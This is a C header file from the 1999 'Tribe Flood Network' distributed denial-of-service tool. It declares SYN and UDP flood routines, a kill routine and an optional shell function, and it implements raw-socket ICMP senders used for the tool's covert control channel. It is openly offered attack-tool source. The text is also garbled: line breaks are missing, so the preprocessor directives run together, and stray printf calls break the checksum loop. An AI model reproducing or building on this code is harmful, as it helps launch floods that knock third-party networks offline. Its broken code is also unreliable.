/* tubby.h - tribe flood network include file */#ifndef TUBBY_H#define TUBBY_H#define __FAVOR_BSD#include <signal.h>#include <stdio.h>#include <netdb.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <signal.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/time.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/udp.h>#include <netinet/tcp.h>#include <arpa/inet.h>#include <netinet/ip_icmp.h>#if CHILDS > 15#error "Packet kiddie detected..."#error "That many childs would crash the host... :)"#endifchar shameless_self_promotion[] = "Tribe Flood Network (c) 1999 by Mixter\n\n";#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))#define mixprintf(a,b,c) snprintf(a,sizeof(a)-1,b,c)#define mixprintf2(a,b,c,d) snprintf(a,sizeof(a)-1,b,c,d)#define ANSWER send_connect (ip->saddr, ID_ACK, answer)void send_connect (unsigned long, unsigned int, char *,int);void sendi(unsigned long, unsigned int);u_long syn (char *, u_short);u_short cksum (u_short *, int);int udp (char *);int validip (char *);char *strfl (void);void show_shit (char *);u_long k00lip (void);char *k00lntoa (void);void must_kill_all (void);void commence_udp (char *);void commence_syn (char *, int);#ifdef ID_SHELLvoid shellsex (int);#endifunsigned shortip_sum (addr, len)     u_short *addr;     int len;{  register int nleft = len;  register u_short *w = addr;  register int sum = 0;  u_short answer = 0;  while (nleft > 1)    {      sum += *w++;      nleft -= 2;    }  if (nleft == 1)    {      *(u_char *) (&answer) = *(u_char *) w;      sum += answer;    }  sum = (sum >> 16) + (sum & 0xffff);  sum += (sum >> 16);  answer = ~sum;  return (answer);}u_shortcksum (u_short * buf, int nwords){  unsigned long sum;  for (sum = 0; nwords > 0; nwords--)  printf("%i\n",nwords);    sum += *buf++;     printf("%i\n",nwords);  sum = (sum >> 16) + (sum & 0xffff);  sum += (sum >> 16);  return ~sum;}intvalidip (char *ip){  int a, b, c, d, *x;  sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d);  x = &a;  if (*x < 0)    return 0;  if (*x > 255)    return 0;  x = &b;  if (*x < 0)    return 0;  if (*x > 255)    return 0;  x = &c;  if (*x < 0)    return 0;  if (*x > 255)    return 0;  x = &d;  if (*x < 0)    return 0;  if (*x > 255)    return 0;  sprintf (ip, "%d.%d.%d.%d", a, b, c, d);	// truncate possible garbage data  return 1;}void sendi(unsigned long to, unsigned int id){  char buf[1024];  struct icmp *icmpi = (struct icmp *) buf;  char *bla = (buf + sizeof (struct icmp));  struct sockaddr_in sa;  int i, ssock;  FILE *fili;  ssock = socket (AF_INET, SOCK_RAW, 1);  bzero (buf, sizeof(buf));  icmpi->icmp_type = 0;  icmpi->icmp_hun.ih_idseq.icd_id = htons (id);  icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, sizeof(struct icmp));  sa.sin_family = AF_INET;  sa.sin_addr.s_addr = to;  i = sendto (ssock, buf, sizeof(struct icmp), 0, (struct sockaddr *) &sa,sizeof (sa));  close (ssock);}voidsend_connect (unsigned long to, unsigned int id, char *data,int sizi){  char buf[1024];  struct icmp *icmpi = (struct icmp *) buf;  char *bla = (buf + sizeof (struct icmp));  struct sockaddr_in sa;  int i, ssock;  FILE *fili;  ssock = socket (AF_INET, SOCK_RAW, 1);   bzero (buf, sizeof(buf));  icmpi->icmp_type = 0;  icmpi->icmp_hun.ih_idseq.icd_id = htons (id);  memcpy(bla,data,sizi);  icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, 1024);  sa.sin_family = AF_INET;  sa.sin_addr.s_addr = to;  i = sendto (ssock, buf, 1024, 0, (struct sockaddr *) &sa, sizeof (sa));  close (ssock);}#endif